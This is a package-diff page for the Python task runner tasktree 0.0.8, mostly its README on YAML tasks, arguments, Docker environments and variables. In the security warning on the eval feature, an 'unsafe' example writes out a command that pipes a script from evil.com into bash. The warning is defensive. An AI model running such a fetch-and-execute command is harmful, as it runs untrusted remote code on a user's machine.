tasktree 0.0.6__py3-none-any.whl → 0.0.8__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,1149 @@
1
+ Metadata-Version: 2.4
2
+ Name: tasktree
3
+ Version: 0.0.8
4
+ Summary: A task automation tool with incremental execution
5
+ Requires-Python: >=3.11
6
+ Requires-Dist: click>=8.1.0
7
+ Requires-Dist: colorama>=0.4.6
8
+ Requires-Dist: pathspec>=0.11.0
9
+ Requires-Dist: pyyaml>=6.0
10
+ Requires-Dist: rich>=13.0.0
11
+ Requires-Dist: typer>=0.9.0
12
+ Provides-Extra: dev
13
+ Requires-Dist: pytest>=9.0.2; extra == 'dev'
14
+ Description-Content-Type: text/markdown
15
+
16
+ # Task Tree (tt)
17
+
18
+ [![Tests](https://github.com/kevinchannon/task-tree/actions/workflows/test.yml/badge.svg)](https://github.com/kevinchannon/task-tree/actions/workflows/test.yml)
19
+
20
+ A task automation tool that combines simple command execution with dependency tracking and incremental execution.
21
+
22
+ ## Motivation
23
+ In any project of even moderate size, various scripts inevitably come into being along the way. These scripts often must be run in a particular order, or at a particular time. For historical reasons, this almost certainly a problem if your project is developed in a Linux environment; in Windows, an IDE like Visual Studio may be taking care of a significant proportion of your build, packaging and deployment tasks. Then again, it may not...
24
+
25
+ The various incantations that have to be issued to build, package, test and deploy a project can build up and then all of a sudden there's only a few people that remember which to invoke and when and then people start making helpful readme guides on what to do with the scripts and then those become out of date and start telling lies about things and so on.
26
+
27
+ Then there's the scripts themselves. In Linux, they're probably a big pile of Bash and Python, or something (Ruby, Perl, you name it). You can bet the house on people solving the problem of passing parameters to their scripts in a whole bunch of different and inconsistent ways.
28
+
29
+ ```bash
30
+ #!/usr/bin/env bash
31
+ # It's an environment variable defined.... somewhere?
32
+ echo "FOO is: $FOO"
33
+ ```
34
+ ```bash
35
+ #!/usr/bin/env bash
36
+ # Using simple positional arguments... guess what means what when you're invoking it!
37
+ echo "First: $1, Second: $2"
38
+ ```
39
+ ```bash
40
+ #!/usr/bin/env bash
41
+ # Oooooh fancy "make me look like a proper app" named option parsing... don't try and do --foo=bar though!
42
+ FOO=""
43
+ while [[ $# -gt 0 ]]; do
44
+ case "$1" in
45
+ --foo) FOO=$2; shift ;;
46
+ --) break ;;
47
+ *) echo "Unknown: $1";;
48
+ esac
49
+ shift
50
+ done
51
+ ```
52
+ ```bash
53
+ #!/usr/bin/env bash
54
+ # This thing...
55
+ ARGS=$(getopt -o f:b --long foo:,bar: -n 'myscript' -- "$@")
56
+ eval set -- "$ARGS"
57
+ while true; do
58
+ case "$1" in
59
+ -b|--bar) echo "Bar: $2"; shift 2 ;;
60
+ -f|--foo) echo "Foo: $2"; shift 2 ;;
61
+ --) shift; break ;;
62
+ *) break ;;
63
+ esac
64
+ done
65
+ ```
66
+
67
+ What about help info? Who has time to wire that in?
68
+
69
+ ### The point
70
+ Is this just whining and moaning? Should we just man up and revel in our own ability to memorize all the right incantations like some kind of scripting shaman?
71
+
72
+ ... No. That's **a dumb idea**.
73
+
74
+ Task Tree allows you to pile all the knowledge of **what** to run, **when** to run it, **where** to run it and **how** to run it into a single, readable place. Then you can delete all the scripts that no-one knows how to use and all the readme docs that lie to the few people that actually waste their time reading them.
75
+
76
+ The tasks you need to perform to deliver your project become summarised in an executable file that looks like:
77
+ ```yaml
78
+ tasks:
79
+ build:
80
+ desc: Compile stuff
81
+ outputs: [target/release/bin]
82
+ cmd: cargo build --release
83
+
84
+ package:
85
+ desc: build installers
86
+ deps: [build]
87
+ outputs: [awesome.deb]
88
+ cmd: |
89
+ for bin in target/release/*; do
90
+ if [[ -x "$bin" && ! -d "$bin" ]]; then
91
+ install -Dm755 "$bin" "debian/awesome/usr/bin/$(basename "$bin")"
92
+ fi
93
+ done
94
+
95
+ dpkg-buildpackage -us -uc
96
+
97
+ test:
98
+ desc: Run tests
99
+ deps: [package]
100
+ inputs: [tests/**/*.py]
101
+ cmd: PYTHONPATH=src python3 -m pytest tests/ -v
102
+ ```
103
+
104
+ If you want to run the tests then:
105
+ ```bash
106
+ tt test
107
+ ```
108
+ Boom! Done. `build` will always run, because there's no sensible way to know what Cargo did. However, if Cargo decided that nothing needed to be done and didn't touch the binaries, then `package` will realize that and not do anything. Then `test` will just run with the new tests that you just wrote. If you then immediately run `test` again, then `test` will figure out that none of the dependencies did anything and that none of the test files have changed and then just _do nothing_ - as it should.
109
+
110
+ This is a toy example, but you can image how it plays out on a more complex project.
111
+
112
+ ## Installation
113
+
114
+ ### From PyPI (Recommended)
115
+
116
+ ```bash
117
+ pipx install tasktree
118
+ ```
119
+
120
+ If you have multiple Python interpreter versions installed, and the _default_ interpreter is a version <3.11, then you can use `pipx`'s `--python` option to specify an interpreter with a version >=3.11:
121
+
122
+ ```bash
123
+ # If the target version is on the PATH
124
+ pipx install --python python3.12 tasktree
125
+
126
+ # With a path to an interpreter
127
+ pipx install --python /path/to/python3.12 tasktree
128
+ ```
129
+
130
+ ### From Source
131
+
132
+ For the latest unreleased version from GitHub:
133
+
134
+ ```bash
135
+ pipx install git+https://github.com/kevinchannon/task-tree.git
136
+ ```
137
+
138
+ Or to install from a local clone:
139
+
140
+ ```bash
141
+ git clone https://github.com/kevinchannon/task-tree.git
142
+ cd tasktree
143
+ pipx install .
144
+ ```
145
+
146
+ ## Editor Support
147
+
148
+ Task Tree includes a [JSON Schema](schema/tasktree-schema.json) that provides autocomplete, validation, and documentation in modern editors.
149
+
150
+ ### VS Code
151
+
152
+ Install the [YAML extension](https://marketplace.visualstudio.com/items?itemName=redhat.vscode-yaml), then add to your workspace `.vscode/settings.json`:
153
+
154
+ ```json
155
+ {
156
+ "yaml.schemas": {
157
+ "https://raw.githubusercontent.com/kevinchannon/tasktree/main/schema/tasktree-schema.json": [
158
+ "tasktree.yaml",
159
+ "tt.yaml"
160
+ ]
161
+ }
162
+ }
163
+ ```
164
+
165
+ Or add a comment at the top of your `tasktree.yaml`:
166
+
167
+ ```yaml
168
+ # yaml-language-server: $schema=https://raw.githubusercontent.com/kevinchannon/tasktree/main/schema/tasktree-schema.json
169
+
170
+ tasks:
171
+ build:
172
+ cmd: cargo build
173
+ ```
174
+
175
+ See [schema/README.md](schema/README.md) for IntelliJ/PyCharm and command-line validation.
176
+
177
+ ## Quick Start
178
+
179
+ Create a `tasktree.yaml` (or `tt.yaml`) in your project:
180
+
181
+ ```yaml
182
+ tasks:
183
+ build:
184
+ desc: Compile the application
185
+ outputs: [target/release/bin]
186
+ cmd: cargo build --release
187
+
188
+ test:
189
+ desc: Run tests
190
+ deps: [build]
191
+ cmd: cargo test
192
+ ```
193
+
194
+ Run tasks:
195
+
196
+ ```bash
197
+ tt # Print the help
198
+ tt --help # ...also print the help
199
+ tt --list # Show all available tasks
200
+ tt build # Build the application (assuming this is in your tasktree.yaml)
201
+ tt test # Run tests (builds first if needed)
202
+ ```
203
+
204
+ ## Core Concepts
205
+
206
+ ### Intelligent Incremental Execution
207
+
208
+ Task Tree only runs tasks when necessary. A task executes if:
209
+
210
+ - Its definition (command, outputs, working directory, environment) has changed
211
+ - Any input files have changed since the last run
212
+ - Any dependencies have re-run
213
+ - It has never been executed before
214
+ - It has no inputs or outputs (always runs)
215
+ - The execution environment has changed (CLI override or environment config change)
216
+
217
+ ### Automatic Input Inheritance
218
+
219
+ Tasks automatically inherit inputs from dependencies, eliminating redundant declarations:
220
+
221
+ ```yaml
222
+ tasks:
223
+ build:
224
+ outputs: [dist/app]
225
+ cmd: go build -o dist/app
226
+
227
+ package:
228
+ deps: [build]
229
+ outputs: [dist/app.tar.gz]
230
+ cmd: tar czf dist/app.tar.gz dist/app
231
+ # Automatically tracks dist/app as an input
232
+ ```
233
+
234
+ ### Single State File
235
+
236
+ All state lives in `.tasktree-state` at your project root. Stale entries are automatically pruned—no manual cleanup needed.
237
+
238
+ ## Task Definition
239
+
240
+ ### Basic Structure
241
+
242
+ ```yaml
243
+ tasks:
244
+ task-name:
245
+ desc: Human-readable description (optional)
246
+ deps: [other-task] # Task dependencies
247
+ inputs: [src/**/*.go] # Explicit input files (glob patterns)
248
+ outputs: [dist/binary] # Output files (glob patterns)
249
+ working_dir: subproject/ # Execution directory (default: project root)
250
+ env: bash-strict # Execution environment (optional)
251
+ args: # Task parameters
252
+ - param1 # Simple argument
253
+ - param2: { type: path, default: "." } # With type and default
254
+ cmd: go build -o dist/binary # Command to execute
255
+ ```
256
+
257
+ ### Commands
258
+
259
+ **Single-line commands** are executed directly via the configured shell:
260
+
261
+ ```yaml
262
+ tasks:
263
+ build:
264
+ cmd: cargo build --release
265
+ ```
266
+
267
+ **Multi-line commands** are written to temporary script files for proper execution:
268
+
269
+ ```yaml
270
+ tasks:
271
+ deploy:
272
+ cmd: |
273
+ mkdir -p dist
274
+ cp build/* dist/
275
+ rsync -av dist/ server:/opt/app/
276
+ ```
277
+
278
+ Multi-line commands preserve shell syntax (line continuations, heredocs, etc.) and support shebangs on Unix/macOS.
279
+
280
+ Or use folded blocks for long single-line commands:
281
+
282
+ ```yaml
283
+ tasks:
284
+ compile:
285
+ cmd: >
286
+ gcc -o bin/app
287
+ src/*.c
288
+ -I include
289
+ -L lib -lm
290
+ ```
291
+
292
+ ### Execution Environments
293
+
294
+ Configure custom shell environments for task execution:
295
+
296
+ ```yaml
297
+ environments:
298
+ default: bash-strict
299
+
300
+ bash-strict:
301
+ shell: bash
302
+ args: ['-c'] # For single-line: bash -c "command"
303
+ preamble: | # For multi-line: prepended to script
304
+ set -euo pipefail
305
+
306
+ python:
307
+ shell: python
308
+ args: ['-c']
309
+
310
+ powershell:
311
+ shell: powershell
312
+ args: ['-ExecutionPolicy', 'Bypass', '-Command']
313
+ preamble: |
314
+ $ErrorActionPreference = 'Stop'
315
+
316
+ tasks:
317
+ build:
318
+ # Uses 'default' environment (bash-strict)
319
+ cmd: cargo build --release
320
+
321
+ analyze:
322
+ env: python
323
+ cmd: |
324
+ import sys
325
+ print(f"Analyzing with Python {sys.version}")
326
+ # ... analysis code ...
327
+
328
+ windows-task:
329
+ env: powershell
330
+ cmd: |
331
+ Compress-Archive -Path dist/* -DestinationPath package.zip
332
+ ```
333
+
334
+ **Environment resolution priority:**
335
+ 1. CLI override: `tt --env python build`
336
+ 2. Task's `env` field
337
+ 3. Recipe's `default` environment
338
+ 4. Platform default (bash on Unix, cmd on Windows)
339
+
340
+ **Platform defaults** when no environments are configured:
341
+ - **Unix/macOS**: bash with `-c` args
342
+ - **Windows**: cmd with `/c` args
343
+
344
+ ### Docker Environments
345
+
346
+ Execute tasks inside Docker containers for reproducible builds and isolated execution:
347
+
348
+ ```yaml
349
+ environments:
350
+ builder:
351
+ dockerfile: build.dockerfile
352
+ context: .
353
+ volumes:
354
+ - .:/workspace
355
+ working_dir: /workspace
356
+
357
+ tasks:
358
+ build:
359
+ env: builder
360
+ cmd: cargo build --release
361
+ ```
362
+
363
+ #### User Mapping
364
+
365
+ By default, tasks run inside Docker containers execute as your current host user (UID:GID) rather than root. This ensures files created in mounted volumes have correct ownership on the host filesystem.
366
+
367
+ To run as root inside the container (e.g., for package installation or privileged operations), set `run_as_root: true`:
368
+
369
+ ```yaml
370
+ environments:
371
+ privileged:
372
+ dockerfile: admin.dockerfile
373
+ context: .
374
+ run_as_root: true
375
+ volumes:
376
+ - .:/workspace
377
+ ```
378
+
379
+ **Note**: On Windows, user mapping is handled automatically by Docker Desktop and this setting has no effect.
380
+
381
+ #### Use Cases for `run_as_root: true`
382
+
383
+ You may need to set `run_as_root: true` when:
384
+ - Container process needs to bind to privileged ports (<1024)
385
+ - Installing packages during task execution
386
+ - Software explicitly requires root privileges
387
+
388
+ ### Parameterised Tasks
389
+
390
+ Tasks can accept arguments with optional type annotations and defaults:
391
+
392
+ ```yaml
393
+ tasks:
394
+ deploy:
395
+ args:
396
+ - environment: { choices: ["dev", "staging", "production"] }
397
+ - region: { choices: ["us-east-1", "eu-west-1"], default: "eu-west-1" }
398
+ deps: [build]
399
+ cmd: |
400
+ aws s3 cp dist/app.zip s3://{{ arg.environment }}-{{ arg.region }}/
401
+ aws lambda update-function-code --function-name app-{{ arg.environment }}
402
+ ```
403
+
404
+ Invoke with: `tt deploy production` or `tt deploy staging us-east-1` or `tt deploy staging region=us-east-1`.
405
+
406
+ If you try an invalid environment like `tt deploy testing`, you'll get a clear error showing the valid choices.
407
+
408
+ **Argument syntax:**
409
+
410
+ ```yaml
411
+ args:
412
+ - name # Simple argument (type: str, no default)
413
+ - port: { type: int } # With type annotation
414
+ - region: { default: "eu-west-1" } # With default (type inferred as str)
415
+ - count: { type: int, default: 10 } # With both type and default
416
+ - replicas: { min: 1, max: 100 } # Type inferred as int from min/max
417
+ - timeout: { min: 0.5, max: 30.0, default: 10.0 } # Type inferred as float
418
+ - environment: { choices: ["dev", "prod"] } # Type inferred as str from choices
419
+ - priority: { type: int, choices: [1, 2, 3], default: 2 } # With choices and default
420
+ ```
421
+
422
+ **Range constraints** (min/max):
423
+
424
+ For `int` and `float` arguments, you can specify `min` and/or `max` constraints to validate values at parse time:
425
+
426
+ ```yaml
427
+ args:
428
+ - replicas: { min: 1, max: 100 } # Type inferred as int from min/max
429
+ - port: { min: 1024 } # Type inferred as int from min
430
+ - percentage: { max: 100.0 } # Type inferred as float from max
431
+ - workers: { min: 1, max: 16, default: 4 } # Type inferred as int (all consistent)
432
+ ```
433
+
434
+ **Discrete choices**:
435
+
436
+ For arguments with a specific set of valid values, use the `choices` field to specify allowed values. This provides clear validation errors and self-documenting task definitions:
437
+
438
+ ```yaml
439
+ args:
440
+ - environment: { choices: ["dev", "staging", "prod"] } # Type inferred as str from choices
441
+ - priority: { choices: [1, 2, 3] } # Type inferred as int from choices
442
+ - region: { type: str, choices: ["us-east-1", "eu-west-1"], default: "us-east-1" }
443
+ ```
444
+
445
+ **Choices features:**
446
+ - Type is automatically inferred from the first choice value if not explicitly specified
447
+ - All choices must have the same type
448
+ - Default value (if provided) must be one of the valid choices
449
+ - `choices` and `min`/`max` are mutually exclusive
450
+ - Boolean types cannot have choices (already limited to true/false)
451
+ - Validation happens after type conversion, producing clear error messages showing valid options
452
+
453
+ * Both bounds are **inclusive**: `min` is the smallest allowable value, `max` is the largest
454
+ * Can specify `min` alone, `max` alone, or both together
455
+ * Type can be inferred from `min`, `max`, or `default` - all provided values must have consistent types
456
+ * When explicit `type` is specified, all `min`, `max`, and `default` values must match that type
457
+ * Default values must satisfy the min/max constraints
458
+ * Validation happens at parse time with clear error messages
459
+ * Not supported for non-numeric types (str, bool, path, etc.)
460
+
461
+ When no explicit type is provided, the type is inferred from `default`, `min`, or `max` values (all must have consistent types). Valid argument types are:
462
+
463
+ * int - an integer value (e.g. 0, 10, 123, -9)
464
+ * float - a floating point value (e.g. 1.234, -3.1415, 2e-4)
465
+ * bool - Boolean-ish value (e.g. true, false, yes, no, 1, 0, etc)
466
+ * str - a string
467
+ * path - a pathlike string
468
+ * datetime - a datetime in the format 2025-12-17T16:56:12
469
+ * ip - an ip address (v4 or v6)
470
+ * ipv4 - an IPv4 value
471
+ * ipv6 - an IPv6 value
472
+ * email - String validated, but not positively confirmed to be a reachable address.
473
+ * hostname - looks like a hostname, resolution of the name is not attempted as part of the validation
474
+
475
+ Different argument values are tracked separately—tasks re-run when invoked with new arguments.
476
+
477
+ ### Exported Arguments
478
+
479
+ Arguments can be prefixed with `$` to export them as environment variables instead of using template substitution. This mimics Justfile behavior and is cleaner for shell-heavy commands:
480
+
481
+ ```yaml
482
+ tasks:
483
+ deploy:
484
+ args:
485
+ - $server
486
+ - $user: { default: "admin" }
487
+ - port: { type: int, default: 8080 }
488
+ cmd: |
489
+ echo "Deploying to $server as $user on port {{ arg.port }}"
490
+ ssh $user@$server "systemctl restart app --port {{ arg.port }}"
491
+ ```
492
+
493
+ **Key differences between regular and exported arguments:**
494
+
495
+ | Feature | Regular Argument | Exported Argument |
496
+ |---------|-----------------|-------------------|
497
+ | **Syntax** | `- name` | `- $name` |
498
+ | **Usage in commands** | `{{ arg.name }}` | `$name` (shell variable) |
499
+ | **Type annotations** | Allowed: `{ type: int }` | **Not allowed** (always strings) |
500
+ | **Defaults** | `{ default: 8080 }` | `- $port: { default: "8080" }` |
501
+ | **Availability** | Template substitution only | Environment variable (all subprocesses) |
502
+ | **Case handling** | N/A | Preserves exact case as written |
503
+
504
+ **Invocation examples:**
505
+
506
+ ```bash
507
+ # Positional arguments (exported and regular mixed)
508
+ tt deploy prod-server admin port=9000
509
+
510
+ # Named arguments
511
+ tt deploy server=prod-server user=admin port=9000
512
+
513
+ # Using defaults
514
+ tt deploy prod-server # user defaults to "admin"
515
+ ```
516
+
517
+ **Important notes:**
518
+
519
+ - **Exported arguments are always strings**: Even numeric-looking defaults like `$port=8080` result in the string `"8080"`. When using boolean-like values in shell scripts, use string comparison: `[ "$verbose" = "true" ]`
520
+ - **Case preservation**: Environment variable names preserve the case exactly as written. `$Server` and `$server` are distinct variables (except on Windows where environment variables are case-insensitive)
521
+ - **Environment variable precedence**: Exported arguments override any existing environment variables with the same name
522
+ - **Cannot use template substitution**: Exported arguments are **not** available for `{{ arg.name }}` substitution. Attempting to use `{{ arg.server }}` when `server` is defined as `$server` results in an error
523
+
524
+ **Use cases for exported arguments:**
525
+
526
+ - Shell-heavy commands with many environment variable references
527
+ - Passing credentials to subprocesses
528
+ - Commands that spawn multiple subshells (exported vars available in all)
529
+ - Integration with tools that expect environment variables
530
+
531
+ **Example with Docker environments:**
532
+
533
+ ```yaml
534
+ environments:
535
+ docker-build:
536
+ dockerfile: Dockerfile
537
+ context: .
538
+ volumes:
539
+ - .:/workspace
540
+
541
+ tasks:
542
+ build:
543
+ env: docker-build
544
+ args: [$BUILD_TAG, $REGISTRY]
545
+ cmd: |
546
+ docker build -t $REGISTRY/app:$BUILD_TAG .
547
+ docker push $REGISTRY/app:$BUILD_TAG
548
+ ```
549
+
550
+ Exported arguments are passed through to Docker containers as environment variables, overriding any Docker environment configuration.
551
+
552
+ #### Troubleshooting Exported Arguments
553
+
554
+ **Problem: Exported argument appears undefined in script**
555
+
556
+ If your script reports an undefined variable:
557
+
558
+ 1. Verify the argument is prefixed with `$` in the `args` list
559
+ 2. Check that you're passing the argument when invoking the task:
560
+ ```bash
561
+ tt deploy prod-server # If server is required
562
+ ```
563
+ 3. On Windows, use `%VAR%` syntax instead of `$VAR`:
564
+ ```yaml
565
+ tasks:
566
+ test:
567
+ args: [$server]
568
+ cmd: echo %server% # Windows
569
+ # cmd: echo $server # Unix/macOS
570
+ ```
571
+
572
+ **Problem: How to debug which args are exported vs regular**
573
+
574
+ Use `tt --show <task-name>` to view the task definition:
575
+ ```bash
576
+ tt --show deploy
577
+ ```
578
+
579
+ This displays the task with its argument specifications. Exported arguments have the `$` prefix.
580
+
581
+ **Problem: Case-sensitive variable confusion**
582
+
583
+ On Unix systems, `$Server` and `$server` are different variables. If you see unexpected behavior:
584
+
585
+ 1. Check that all references use the exact same case
586
+ 2. Task Tree will warn during parsing if it detects arguments that differ only in case
587
+ 3. Consider using lowercase consistently for environment variables to avoid confusion
588
+
589
+ **Problem: Exported argument with default value not set**
590
+
591
+ If an exported argument with a default isn't available as an environment variable:
592
+
593
+ 1. Ensure you're running on the latest version (this was a bug in earlier versions)
594
+ 2. The CLI automatically applies defaults before execution
595
+ 3. You can explicitly provide the value: `tt deploy prod-server port=8080`
596
+
597
+ ## Environment Variables
598
+
599
+ Task Tree supports reading environment variables in two ways:
600
+
601
+ ### Direct Substitution
602
+
603
+ Reference environment variables directly in task commands using `{{ env.VAR_NAME }}`:
604
+
605
+ ```yaml
606
+ tasks:
607
+ deploy:
608
+ args: [target]
609
+ cmd: |
610
+ echo "Deploying to {{ arg.target }}"
611
+ echo "User: {{ env.USER }}"
612
+ scp package.tar.gz {{ env.DEPLOY_USER }}@{{ arg.target }}:/opt/
613
+ ```
614
+
615
+ ```bash
616
+ export DEPLOY_USER=admin
617
+ tt deploy production
618
+ ```
619
+
620
+ Environment variables are resolved at execution time, just before the task runs.
621
+
622
+ ### Via Variables Section
623
+
624
+ For more complex scenarios, define environment variables in the `variables` section:
625
+
626
+ ```yaml
627
+ variables:
628
+ # Direct env reference (resolved at parse time)
629
+ api_key: { env: API_KEY }
630
+ db_host: { env: DATABASE_HOST }
631
+
632
+ # Or using string substitution
633
+ deploy_user: "{{ env.DEPLOY_USER }}"
634
+
635
+ # Compose with other variables
636
+ connection: "{{ var.db_host }}:5432"
637
+ api_url: "https://{{ var.db_host }}/api"
638
+
639
+ tasks:
640
+ deploy:
641
+ cmd: |
642
+ curl -H "Authorization: Bearer {{ var.api_key }}" {{ var.api_url }}
643
+ ssh {{ var.deploy_user }}@{{ var.db_host }} /opt/deploy.sh
644
+ ```
645
+
646
+ **Key differences:**
647
+ - **`{ env: VAR }`** — Resolved at parse time (when `tt` starts)
648
+ - **`"{{ env.VAR }}"`** — Resolved at parse time in variables, execution time in tasks
649
+ - **Direct `{{ env.VAR }}`** — Resolved at execution time
650
+
651
+ ### When to Use Which
652
+
653
+ **Use direct substitution** (`{{ env.VAR }}`) when:
654
+ - You need simple, one-off environment variable references
655
+ - The value is used in a single place
656
+ - You want the value resolved at execution time
657
+
658
+ **Use variables section** when:
659
+ - You need to compose values from multiple sources
660
+ - The same value is used in multiple places
661
+ - You need variable-in-variable expansion
662
+
663
+ **Examples:**
664
+
665
+ ```yaml
666
+ variables:
667
+ # Compose configuration from environment
668
+ home: { env: HOME }
669
+ config_dir: "{{ var.home }}/.myapp"
670
+
671
+ tasks:
672
+ # Direct reference for simple cases
673
+ show-user:
674
+ cmd: echo "Running as {{ env.USER }}"
675
+
676
+ # Mixed usage
677
+ deploy:
678
+ args: [app]
679
+ cmd: |
680
+ echo "Config: {{ var.config_dir }}"
681
+ echo "Deploying {{ arg.app }} as {{ env.DEPLOY_USER }}"
682
+ ```
683
+
684
+ **Environment variable values are always strings**, even if they look like numbers.
685
+
686
+ ### Working Directory
687
+
688
+ Environment variables work in `working_dir` as well:
689
+
690
+ ```yaml
691
+ tasks:
692
+ build:
693
+ working_dir: "{{ env.BUILD_DIR }}"
694
+ cmd: make all
695
+ ```
696
+
697
+ ### Evaluating Commands in Variables
698
+
699
+ Variables can be populated by executing shell commands using `{ eval: command }`:
700
+
701
+ ```yaml
702
+ variables:
703
+ git_hash: { eval: "git rev-parse --short HEAD" }
704
+ timestamp: { eval: "date +%Y%m%d-%H%M%S" }
705
+ image_tag: "myapp:{{ var.git_hash }}"
706
+
707
+ tasks:
708
+ build:
709
+ cmd: docker build -t {{ var.image_tag }} .
710
+ ```
711
+
712
+ **Execution:**
713
+
714
+ - Commands are executed when `tt` starts (parse time), before any task execution
715
+ - Working directory is the recipe file location
716
+ - Uses `default_env` shell if specified in the recipe, otherwise platform default (bash on Unix, cmd on Windows)
717
+ - Stdout is captured as the variable value
718
+ - Stderr is ignored (or printed to terminal, not captured)
719
+ - Trailing newline is automatically stripped (like `{ read: ... }`)
720
+
721
+ **Exit codes:**
722
+
723
+ Commands must succeed (exit code 0) or `tt` will fail with an error:
724
+
725
+ ```
726
+ Command failed for variable 'git_hash': git rev-parse --short HEAD
727
+ Exit code: 128
728
+ stderr: fatal: not a git repository (or any of the parent directories): .git
729
+
730
+ Ensure the command succeeds when run from the recipe file location.
731
+ ```
732
+
733
+ **⚠️ Security Warning**
734
+
735
+ The `{ eval: command }` feature executes shell commands with your current permissions when `tt` starts.
736
+
737
+ **DO NOT** use recipes from untrusted sources that contain `{ eval: ... }`.
738
+
739
+ Commands execute with:
740
+ - Your current user permissions
741
+ - Access to your environment variables
742
+ - The recipe file directory as working directory
743
+
744
+ **Best practices:**
745
+ - Only use `eval` in recipes you've written or thoroughly reviewed
746
+ - Avoid complex commands with side effects
747
+ - Prefer `{ read: file }` or `{ env: VAR }` when possible
748
+ - Use for read-only operations (git info, vault reads, system info)
749
+
750
+ **Example safe uses:**
751
+
752
+ ```yaml
753
+ variables:
754
+ # Version control information
755
+ version: { eval: "git describe --tags" }
756
+ commit: { eval: "git rev-parse HEAD" }
757
+ branch: { eval: "git rev-parse --abbrev-ref HEAD" }
758
+
759
+ # System information
760
+ hostname: { eval: "hostname" }
761
+ username: { eval: "whoami" }
762
+
763
+ # Secrets management (read-only)
764
+ vault_token: { eval: "vault read -field=token secret/api" }
765
+ ```
766
+
767
+ **Example unsafe uses:**
768
+
769
+ ```yaml
770
+ variables:
771
+ # DON'T DO THIS - modifies state at parse time
772
+ counter: { eval: "expr $(cat counter) + 1 > counter && cat counter" }
773
+
774
+ # DON'T DO THIS - downloads and executes code
775
+ script: { eval: "curl https://evil.com/script.sh | bash" }
776
+ ```
777
+
778
+ **Use cases:**
779
+
780
+ 1. **Version control info** - Embed git commit hashes, tags, or branch names in builds
781
+ 2. **Secrets management** - Read API tokens from secret vaults (Vault, AWS Secrets Manager, etc.)
782
+ 3. **System information** - Capture hostname, username, or timestamp for deployments
783
+ 4. **Dynamic configuration** - Read values from external tools or configuration systems
784
+
785
+ **Type handling:**
786
+
787
+ Eval output is always a string, even if the command outputs a number:
788
+
789
+ ```yaml
790
+ variables:
791
+ port: { eval: "echo 8080" } # port = "8080" (string, not int)
792
+ ```
793
+
794
+ **Performance note:**
795
+
796
+ Every `{ eval: ... }` runs a subprocess at parse time, adding startup latency. For frequently-run tasks, consider caching results in files or using `{ read: ... }` to read pre-computed values.
797
+
798
+ ## Built-in Variables
799
+
800
+ Task Tree provides system-provided variables that tasks can reference using `{{ tt.variable_name }}` syntax. These provide access to common system information without requiring manual configuration.
801
+
802
+ ### Available Variables
803
+
804
+ | Variable | Description | Example Value |
805
+ |----------|-------------|---------------|
806
+ | `{{ tt.project_root }}` | Absolute path to project root (where `.tasktree-state` lives) | `/home/user/myproject` |
807
+ | `{{ tt.recipe_dir }}` | Absolute path to directory containing the recipe file | `/home/user/myproject` or `/home/user/myproject/subdir` |
808
+ | `{{ tt.task_name }}` | Name of currently executing task | `build` |
809
+ | `{{ tt.working_dir }}` | Absolute path to task's effective working directory | `/home/user/myproject/src` |
810
+ | `{{ tt.timestamp }}` | ISO8601 timestamp when task started execution | `2024-12-28T14:30:45Z` |
811
+ | `{{ tt.timestamp_unix }}` | Unix epoch timestamp when task started | `1703772645` |
812
+ | `{{ tt.user_home }}` | Current user's home directory (cross-platform) | `/home/user` or `C:\Users\user` |
813
+ | `{{ tt.user_name }}` | Current username | `alice` |
814
+
815
+ ### Usage Examples
816
+
817
+ **Logging with timestamps:**
818
+
819
+ ```yaml
820
+ tasks:
821
+ build:
822
+ cmd: |
823
+ echo "Building {{ tt.task_name }} at {{ tt.timestamp }}"
824
+ cargo build --release
825
+ ```
826
+
827
+ **Artifact naming:**
828
+
829
+ ```yaml
830
+ tasks:
831
+ package:
832
+ deps: [build]
833
+ cmd: |
834
+ mkdir -p {{ tt.project_root }}/dist
835
+ tar czf {{ tt.project_root }}/dist/app-{{ tt.timestamp_unix }}.tar.gz target/release/
836
+ ```
837
+
838
+ **Cross-platform paths:**
839
+
840
+ ```yaml
841
+ tasks:
842
+ copy-config:
843
+ cmd: cp config.yaml {{ tt.user_home }}/.myapp/config.yaml
844
+ ```
845
+
846
+ **Mixed with other variables:**
847
+
848
+ ```yaml
849
+ variables:
850
+ version: { eval: "git describe --tags" }
851
+
852
+ tasks:
853
+ deploy:
854
+ args: [environment]
855
+ cmd: |
856
+ echo "Deploying version {{ var.version }} to {{ arg.environment }}"
857
+ echo "From {{ tt.project_root }} by {{ tt.user_name }}"
858
+ ./deploy.sh {{ arg.environment }}
859
+ ```
860
+
861
+ ### Important Notes
862
+
863
+ - **Timestamp consistency**: The same timestamp is used throughout a single task execution (all references to `{{ tt.timestamp }}` and `{{ tt.timestamp_unix }}` within one task will have identical values)
864
+ - **Working directory**: `{{ tt.working_dir }}` reflects the task's `working_dir` setting, or the project root if not specified
865
+ - **Recipe vs Project**: `{{ tt.recipe_dir }}` points to where the recipe file is located, while `{{ tt.project_root }}` points to where the `.tasktree-state` file is (usually the same, but can differ)
866
+ - **Username fallback**: If `os.getlogin()` fails, `{{ tt.user_name }}` falls back to `$USER` or `$USERNAME` environment variables, or `"unknown"` if neither is set
867
+
868
+ ## File Imports
869
+
870
+ Split task definitions across multiple files for better organisation:
871
+
872
+ ```yaml
873
+ # tasktree.yaml
874
+ imports:
875
+ - file: build/tasks.yml
876
+ as: build
877
+ - file: deploy/tasks.yml
878
+ as: deploy
879
+
880
+ tasks:
881
+ test:
882
+ deps: [build.compile, build.test-compile]
883
+ cmd: ./run-tests.sh
884
+
885
+ ci:
886
+ deps: [build.all, test, deploy.staging]
887
+ ```
888
+
889
+ Imported tasks are namespaced and can be referenced as dependencies. Each imported file is self-contained—it cannot depend on tasks in the importing file.
890
+
891
+ ## Glob Patterns
892
+
893
+ Input and output patterns support standard glob syntax:
894
+
895
+ - `src/*.rs` — All Rust files in `src/`
896
+ - `src/**/*.rs` — All Rust files recursively
897
+ - `{file1,file2}` — Specific files
898
+ - `**/*.{js,ts}` — Multiple extensions recursively
899
+
900
+ ## State Management
901
+
902
+ ### How State Works
903
+
904
+ Each task is identified by a hash of its definition. The hash includes:
905
+
906
+ - Command to execute
907
+ - Output patterns
908
+ - Working directory
909
+ - Argument definitions
910
+ - Execution environment
911
+
912
+ State tracks:
913
+ - When the task last ran
914
+ - Timestamps of input files at that time
915
+
916
+ Tasks are re-run when their definition changes, inputs are newer than the last run, or the environment changes.
917
+
918
+ ### What's Not In The Hash
919
+
920
+ Changes to these don't invalidate cached state:
921
+
922
+ - Task name (tasks can be renamed freely)
923
+ - Description
924
+ - Dependencies (only affects execution order)
